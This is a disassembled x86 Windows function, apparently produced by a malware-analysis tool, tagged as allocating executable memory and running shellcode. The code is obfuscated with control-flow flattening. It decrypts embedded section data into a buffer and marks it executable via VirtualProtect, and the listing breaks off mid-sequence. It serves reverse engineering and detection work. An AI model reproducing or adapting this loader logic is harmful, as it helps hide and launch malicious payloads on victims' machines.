Function at 0x4069b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov esi, esp
mov eax, dword [ebp + 0x14]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esi + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0x14], eax
mov ecx, dword [0x4c3eec]
mov eax, dword [0x4c3ef0]
mov edx, ecx
add edx, 0xddd171f
sub edx, 1
sub edx, 0xddd171f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [esi + 0x3e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [esi + 0x3f], al
mov dword [esi + 0x38], 0xec91817
mov eax, dword [esi + 0x38]
mov dword [esi + 4], eax
sub eax, 0x8093e89c
je 0x407d76
jmp 0x406a2f
mov eax, dword [esi + 4]
sub eax, 0x80f390e8
je 0x408b00
jmp 0x406a42
mov eax, dword [esi + 4]
sub eax, 0x8240f2d5
je 0x4084b8
jmp 0x406a55
mov eax, dword [esi + 4]
sub eax, 0x8c996218
je 0x409b20
jmp 0x406a68
mov eax, dword [esi + 4]
sub eax, 0x8e5349de
je 0x40946d
jmp 0x406a7b
mov eax, dword [esi + 4]
sub eax, 0x9331e260
je 0x408a6a
jmp 0x406a8e
mov eax, dword [esi + 4]
sub eax, 0x9382aaa9
je 0x40797b
jmp 0x406aa1
mov eax, dword [esi + 4]
sub eax, 0x94b286f6
je 0x409792
jmp 0x406ab4
mov eax, dword [esi + 4]
sub eax, 0x9894f76f
je 0x408588
jmp 0x406ac7
mov eax, dword [esi + 4]
sub eax, 0x98b2fd80
je 0x4098fe
jmp 0x406ada
mov eax, dword [esi + 4]
sub eax, 0x9911f911
je 0x408b77
jmp 0x406aed
mov eax, dword [esi + 4]
sub eax, 0x9cfcf482
je 0x408c2d
jmp 0x406b00
mov eax, dword [esi + 4]
sub eax, 0x9d6f0e9d
je 0x409bfd
jmp 0x406b13
mov eax, dword [esi + 4]
sub eax, 0x9e752a57
je 0x408862
jmp 0x406b26
mov eax, dword [esi + 4]
sub eax, 0xa111f4ad
je 0x409a00
jmp 0x406b39
mov eax, dword [esi + 4]
sub eax, 0xa2e3c7df
je 0x409cfe
jmp 0x406b4c
mov eax, dword [esi + 4]
sub eax, 0xa425e1c7
je 0x408a1c
jmp 0x406b5f
mov eax, dword [esi + 4]
sub eax, 0xa44d8070
je 0x409833
jmp 0x406b72
mov eax, dword [esi + 4]
sub eax, 0xa891f5fb
je 0x40900e
jmp 0x406b85
mov eax, dword [esi + 4]
sub eax, 0xa9294782
je 0x409865
jmp 0x406b98
mov eax, dword [esi + 4]
sub eax, 0xa9b2b389
je 0x4082ca
jmp 0x406bab
mov eax, dword [esi + 4]
sub eax, 0xaa903b6b
je 0x40873e
jmp 0x406bbe
mov eax, dword [esi + 4]
sub eax, 0xabcb7232
je 0x4083c6
jmp 0x406bd1
mov eax, dword [esi + 4]
sub eax, 0xac3d1db1
je 0x40779e
jmp 0x406be4
mov eax, dword [esi + 4]
sub eax, 0xac6a6f64
je 0x408e0f
jmp 0x406bf7
mov eax, dword [esi + 4]
sub eax, 0xaddcc208
je 0x4096cd
jmp 0x406c0a
mov eax, dword [esi + 4]
sub eax, 0xaf61bd7b
je 0x40979e
jmp 0x406c1d
mov eax, dword [esi + 4]
sub eax, 0xb0c3a2e3
je 0x409d2e
jmp 0x406c30
mov eax, dword [esi + 4]
sub eax, 0xb171fd4f
je 0x407714
jmp 0x406c43
mov eax, dword [esi + 4]
sub eax, 0xb2d7a6b9
je 0x40989b
jmp 0x406c56
mov eax, dword [esi + 4]
sub eax, 0xb43eae50
je 0x4097aa
jmp 0x406c69
mov eax, dword [esi + 4]
sub eax, 0xb47b9f1f
je 0x407fa5
jmp 0x406c7c
mov eax, dword [esi + 4]
sub eax, 0xb91f01a8
je 0x409cd4
jmp 0x406c8f
mov eax, dword [esi + 4]
sub eax, 0xb94587b6
je 0x409635
jmp 0x406ca2
mov eax, dword [esi + 4]
sub eax, 0xbc0acc16
je 0x409687
jmp 0x406cb5
mov eax, dword [esi + 4]
sub eax, 0xbc92001d
je 0x409183
jmp 0x406cc8
mov eax, dword [esi + 4]
sub eax, 0xbf56e784
je 0x4097ce
jmp 0x406cdb
mov eax, dword [esi + 4]
sub eax, 0xbfa41804
je 0x409943
jmp 0x406cee
mov eax, dword [esi + 4]
sub eax, 0xc0e7d2ba
je 0x40894e
jmp 0x406d01
mov eax, dword [esi + 4]
sub eax, 0xc0f46f47
je 0x408f1e
jmp 0x406d14
mov eax, dword [esi + 4]
sub eax, 0xc24deff2
je 0x407883
jmp 0x406d27
mov eax, dword [esi + 4]
sub eax, 0xc548810e
je 0x409081
jmp 0x406d3a
mov eax, dword [esi + 4]
sub eax, 0xc68e3758
je 0x4088a8
jmp 0x406d4d
mov eax, dword [esi + 4]
sub eax, 0xc8db23f5
je 0x407a35
jmp 0x406d60
mov eax, dword [esi + 4]
sub eax, 0xca7a1e72
je 0x409235
jmp 0x406d73
mov eax, dword [esi + 4]
sub eax, 0xcc8d181e
je 0x4097da
jmp 0x406d86
mov eax, dword [esi + 4]
sub eax, 0xcd65e5cc
je 0x40796f
jmp 0x406d99
mov eax, dword [esi + 4]
sub eax, 0xcdb689ad
je 0x408672
jmp 0x406dac
mov eax, dword [esi + 4]
sub eax, 0xd0ebc9ba
je 0x407c7c
jmp 0x406dbf
mov eax, dword [esi + 4]
sub eax, 0xd350a58b
je 0x409641
jmp 0x406dd2
mov eax, dword [esi + 4]
sub eax, 0xd898b863
je 0x4079c9
jmp 0x406de5
mov eax, dword [esi + 4]
sub eax, 0xd948b8e4
je 0x408d4a
jmp 0x406df8
mov eax, dword [esi + 4]
sub eax, 0xda13b4d3
je 0x407cff
jmp 0x406e0b
mov eax, dword [esi + 4]
sub eax, 0xdaca08f2
je 0x408c21
jmp 0x406e1e
mov eax, dword [esi + 4]
sub eax, 0xdf632c74
je 0x4097b6
jmp 0x406e31
mov eax, dword [esi + 4]
sub eax, 0xe1c28562
je 0x40761c
jmp 0x406e44
mov eax, dword [esi + 4]
sub eax, 0xe1e7842e
je 0x407e1e
jmp 0x406e57
mov eax, dword [esi + 4]
sub eax, 0xe265ea76
je 0x40990d
jmp 0x406e6a
mov eax, dword [esi + 4]
sub eax, 0xe49ca071
je 0x40957d
jmp 0x406e7d
mov eax, dword [esi + 4]
sub eax, 0xe5e3ccea
je 0x4092dd
jmp 0x406e90
mov eax, dword [esi + 4]
sub eax, 0xe5e9728c
je 0x4099b1
jmp 0x406ea3
mov eax, dword [esi + 4]
sub eax, 0xec279089
je 0x409571
jmp 0x406eb6
mov eax, dword [esi + 4]
sub eax, 0xee061879
je 0x408ce6
jmp 0x406ec9
mov eax, dword [esi + 4]
sub eax, 0xf12935aa
je 0x4098b9
jmp 0x406edc
mov eax, dword [esi + 4]
sub eax, 0xf14d3eb6
je 0x408b0c
push eax
mov eax, esp
mov dword [esi + 0x48], eax
mov ecx, dword [0x4c3eec]
mov eax, dword [0x4c3ef0]
mov edx, ecx
sub edx, 0x2ae17ceb
sub edx, 1
add edx, 0x2ae17ceb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb43eae50
mov ecx, 0x76347dc7
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
push eax
mov eax, esp
mov dword [esi + 0x4c], eax
push eax
mov eax, esp
mov dword [esi + 0x50], eax
sub esp, 0x800
mov eax, esp
mov dword [esi + 0x54], eax
mov ecx, dword [0x4c3eec]
mov eax, dword [0x4c3ef0]
mov edx, ecx
sub edx, 0xbdad3da4
sub edx, 1
add edx, 0xbdad3da4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdf632c74
mov ecx, 0xac3d1db1
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov dword [esi + 0x38], 0x9eacbc9
jmp 0x409d41
mov ecx, dword [0x4c3eec]
mov eax, dword [0x4c3ef0]
mov edx, ecx
sub edx, 0x9141cab6
sub edx, 1
add edx, 0x9141cab6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbf56e784
mov ecx, 0x4df66103
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov dword [esi + 0x38], 0x9382aaa9
jmp 0x409d41
mov eax, dword [0x4c3eec]
mov ecx, dword [0x4c3ef0]
mov edx, eax
add edx, 0x6ce38686
sub edx, 1
sub edx, 0x6ce38686
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcc8d181e
mov ecx, 0xd898b863
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
push eax
mov eax, esp
mov dword [esi + 0x64], eax
push eax
mov eax, esp
mov dword [esi + 0x68], eax
push eax
mov eax, esp
mov dword [esi + 0x6c], eax
mov eax, dword [0x4c3eec]
mov ecx, dword [0x4c3ef0]
mov edx, eax
add edx, 0x575a1c30
sub edx, 1
sub edx, 0x575a1c30
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcc8d181e
mov ecx, 0x69c8ba97
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov ecx, dword [0x4c3eec]
mov eax, dword [0x4c3ef0]
xor edi, edi
sub edi, 1
mov edx, ecx
add edx, edi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x72b407b
mov ecx, 0x462266ad
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 0x10]
mov eax, dword [esi + 0x4c]
mov dword [eax], edx
mov eax, dword [esi + 0x50]
mov dword [eax], ecx
mov ecx, dword [0x4c3eec]
mov eax, dword [0x4c3ef0]
mov edx, ecx
add edx, 0xc22642c9
sub edx, 1
sub edx, 0xc22642c9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x361ca1a8
mov ecx, 0xda13b4d3
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov dword [esi + 0x38], 0x18841b1
jmp 0x409d41
mov eax, dword [esi + 0x54]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x800
call fcn.0049ae40
add esp, 0xc
mov eax, dword [esi + 0x54]
mov dword [esi + 0x78], eax
mov ecx, dword [0x4c3eec]
mov eax, dword [0x4c3ef0]
mov edx, ecx
add edx, 0xf09dad52
sub edx, 1
sub edx, 0xf09dad52
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa44d8070
mov ecx, 0x231f9ac6
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov ecx, dword [0x4c3eec]
mov eax, dword [0x4c3ef0]
mov edx, ecx
sub edx, 0xa5471cc7
sub edx, 1
add edx, 0xa5471cc7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa9294782
mov ecx, 0x551883c1
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov eax, dword [esi + 0x58]
mov eax, dword [eax]
mov dword [esi + 0x7c], eax
mov eax, dword [0x4c3eec]
mov ecx, dword [0x4c3ef0]
mov edx, eax
sub edx, 0x82d4b390
sub edx, 1
add edx, 0x82d4b390
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb2d7a6b9
mov ecx, 0xef42a57
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov dword [esi + 0x38], 0x4a9f769a
jmp 0x409d41
mov dword [esi + 0x38], 0x3965e7ea
jmp 0x409d41
mov dword [esi + 0x38], 0x1ecda60
jmp 0x409d41
mov dword [esi + 0x38], 0x2c05be4e
jmp 0x409d41
mov eax, dword [0x4c3eec]
mov ecx, dword [0x4c3ef0]
mov edx, eax
sub edx, 0x299eb6f8
sub edx, 1
add edx, 0x299eb6f8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbfa41804
mov ecx, 0x65e2ba80
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov dword [esi + 0x38], 0xf59e4811
jmp 0x409d41
mov eax, dword [0x4c3eec]
mov ecx, dword [0x4c3ef0]
xor edi, edi
sub edi, 1
mov edx, eax
add edx, edi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe5e9728c
mov ecx, 0xc68e3758
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov eax, dword [esi + 0x60]
xor ecx, ecx
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x40000000
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [eax]
mov dword [esi + 0x90], eax
mov ecx, dword [0x4c3eec]
mov eax, dword [0x4c3ef0]
xor edi, edi
sub edi, 1
mov edx, ecx
add edx, edi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe5e9728c
mov ecx, 0xfddc3bab
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov eax, dword [0x4c3eec]
mov ecx, dword [0x4c3ef0]
xor edi, edi
sub edi, 1
mov edx, eax
add edx, edi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd944654
mov ecx, 0x12806c95
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov eax, dword [0x4c3eec]
mov ecx, dword [0x4c3ef0]
mov edx, eax
sub edx, 0x9864321d
sub edx, 1
add edx, 0x9864321d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa111f4ad
mov ecx, 0x9331e260
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov eax, dword [esi + 0x64]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0x21
mov dword [esp + 8], 0x40000000
call fcn.0049ae40
add esp, 0xc
mov ecx, dword [0x4c3eec]
mov eax, dword [0x4c3ef0]
mov edx, ecx
add edx, 0xf89531bb
sub edx, 1
sub edx, 0xf89531bb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa111f4ad
mov ecx, 0x80f390e8
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov dword [esi + 0x38], 0xf14d3eb6
jmp 0x409d41
mov eax, dword [esi + 0x64]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x8000
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [esi + 0x60]
xor ecx, ecx
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x5200
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [eax]
mov ecx, eax
mov eax, dword [esi + 0x68]
mov dword [eax], ecx
mov eax, dword [esi + 0x68]
cmp dword [eax], 0
setne al
and al, 1
mov byte [esi + 0x96], al
mov eax, dword [0x4c3eec]
mov ecx, dword [0x4c3ef0]
xor edi, edi
sub edi, 1
mov edx, eax
add edx, edi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x758157d6
mov ecx, 0xdaca08f2
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov dword [esi + 0x38], 0x9cfcf482
jmp 0x409d41
mov eax, dword [0x4c3eec]
mov ecx, dword [0x4c3ef0]
xor edi, edi
sub edi, 1
mov edx, eax
add edx, edi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3a6e4339
mov ecx, 0x3228030f
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov dl, byte [esi + 0x96]
mov eax, 0xd350a58b
mov ecx, 0x47d8805f
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov eax, dword [esi + 0x68]
mov ecx, dword [eax]
lea eax, section.kegeyepi
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x5200
call section..text
add esp, 0xc
mov eax, dword [esi + 0x68]
mov ecx, dword [eax]
lea eax, section..data
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], 0x5200
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x10
call fcn.00402c00
add esp, 0x10
mov ecx, dword [0x4c3eec]
mov eax, dword [0x4c3ef0]
mov edx, ecx
sub edx, 0x747f80a8
sub edx, 1
add edx, 0x747f80a8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x33c34d7e
mov ecx, 0xac6a6f64
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov dword [esi + 0x38], 0x1ee04d00
jmp 0x409d41
mov ecx, dword [0x4c3eec]
mov eax, dword [0x4c3ef0]
mov edx, ecx
sub edx, 0xe42720f9
sub edx, 1
add edx, 0xe42720f9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8c996218
mov ecx, 0x7d611ad0
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov ecx, dword [0x4c3eec]
mov eax, dword [0x4c3ef0]
mov edx, ecx
sub edx, 0xcfbc94de
sub edx, 1
add edx, 0xcfbc94de
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6f7c9e3
mov ecx, 0xc548810e
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov eax, dword [esi + 0x6c]
mov ecx, dword [eax]
lea eax, [0x4ce200]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1a600
call section..text
add esp, 0xc
mov eax, dword [esi + 0x6c]
mov ecx, dword [eax]
lea eax, [0x4c3010]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], 0x1a600
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x1d
call fcn.00402c00
add esp, 0x10
mov eax, dword [esi + 0x5c]
mov ecx, dword [eax]
lea eax, str.VirtualProtect
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [esi + 0x74]
mov dword [eax], ecx
mov eax, dword [esi + 0x74]
mov eax, dword [eax]
mov ecx, dword [esi + 0x68]
mov edx, dword [ecx]
mov ecx, dword [esi + 0x70]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], 0x5200
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ecx
call eax
mov eax, dword [esi + 0x68]
mov eax, dword [eax]
mov dword [esi + 0x98], eax
mov eax, dword [0x4c3eec]
mov ecx, dword [0x4c3ef0]
mov edx, eax
sub edx, 0x19369f39
sub edx, 1
add edx, 0x19369f39
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6f7c9e3
mov ecx, 0xf377231c
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov eax, dword [0x4c3eec]
mov ecx, dword [0x4c3ef0]
mov edx, eax
add edx, 0x2404e04e
sub edx, 1
sub edx, 0x2404e04e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x224d13d1
mov ecx, 0x148b9286
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov dword [esi + 0x38], 0x410e7e00
jmp 0x409d41
mov dword [esi + 0x38], 0xc13e14c
jmp 0x409d41
mov ecx, dword [0x4c3eec]
mov eax, dword [0x4c3ef0]
mov edx, ecx
add edx, 0x8dfc2d2f
sub edx, 1
sub edx, 0x8dfc2d2f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb91f01a8
mov ecx, 0x4157dae2
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov dword [esi + 0x38], 0xe49ca071
jmp 0x409d41
mov eax, dword [0x4c3eec]
mov ecx, dword [0x4c3ef0]
mov edx, eax
add edx, 0x6a4b633e
sub edx, 1
sub edx, 0x6a4b633e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa2e3c7df
mov ecx, 0x166eb527
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov dword [esi + 0x38], 0xd350a58b
jmp 0x409d41
mov eax, dword [0x4c3eec]
mov ecx, dword [0x4c3ef0]
xor edi, edi
sub edi, 1
mov edx, eax
add edx, edi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0c3a2e3
mov ecx, 0xbc0acc16
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov eax, dword [0x4c3eec]
mov ecx, dword [0x4c3ef0]
xor edi, edi
sub edi, 1
mov edx, eax
add edx, edi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0c3a2e3
mov ecx, 0xaddcc208
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x38], eax
jmp 0x409d41
mov dword [esi + 0x38], 0x78f98f4d
jmp 0x409d41
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 0x10
mov dword [esi + 0x38], 0xfffcb97d
jmp 0x409d41
mov dword [esi + 0x38], 0xe1c28562
jmp 0x409d41
mov dword [esi + 0x38], 0xb171fd4f
jmp 0x409d41
mov dword [esi + 0x38], 0x4df66103
jmp 0x409d41
mov dword [esi + 0x38], 0xd898b863
jmp 0x409d41
mov eax, dword [esi + 0x54]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x800
call fcn.0049ae40
add esp, 0xc
mov eax, dword [esi + 0x54]
mov dword [esi + 0x38], 0x8093e89c
jmp 0x409d41
mov eax, dword [esi + 0x78]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [esi + 0x58]
mov dword [eax], 0
mov dword [esi + 0x38], 0x551883c1
jmp 0x409d41
mov eax, dword [esi + 0x58]
mov dword [esi + 0x38], 0xb47b9f1f
jmp 0x409d41
mov dword [esi + 0x38], 0x7102face
jmp 0x409d41
mov eax, dword [esi + 0x58]
mov dword [esi + 0x38], 0xfabcf9c8
jmp 0x409d41
mov eax, dword [esi + 0x88]
mov eax, dword [esi + 0x88]
mov eax, dword [esi + 0x88]
mov eax, dword [esi + 0x88]
mov eax, dword [esi + 0x88]
mov eax, dword [esi + 0x88]
mov eax, dword [esi + 0x88]
mov dword [esi + 0x38], 0x41f1f44e
jmp 0x409d41
mov eax, dword [esi + 0x58]
mov ecx, dword [esi + 0x8c]
mov dword [eax], ecx
mov dword [esi + 0x38], 0x65e2ba80
jmp 0x409d41
mov eax, dword [esi + 0x60]
xor ecx, ecx
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x40000000
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [eax]
mov dword [esi + 0x38], 0xc68e3758
jmp 0x409d41
mov eax, dword [esi + 0x64]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0x21
mov dword [esp + 8], 0x40000000
call fcn.0049ae40
add esp, 0xc
mov dword [esi + 0x38], 0x9331e260
jmp 0x409d41
mov eax, dword [esi + 0x6c]
mov dword [esi + 0x38], 0x7d611ad0
jmp 0x409d41
mov dword [esi + 0x38], 0x4ab5f8ab
jmp 0x409d41
lea ecx, [0x4c4410]
lea eax, str.Hello_
sub esp, 8
mov dword [esp], ecx
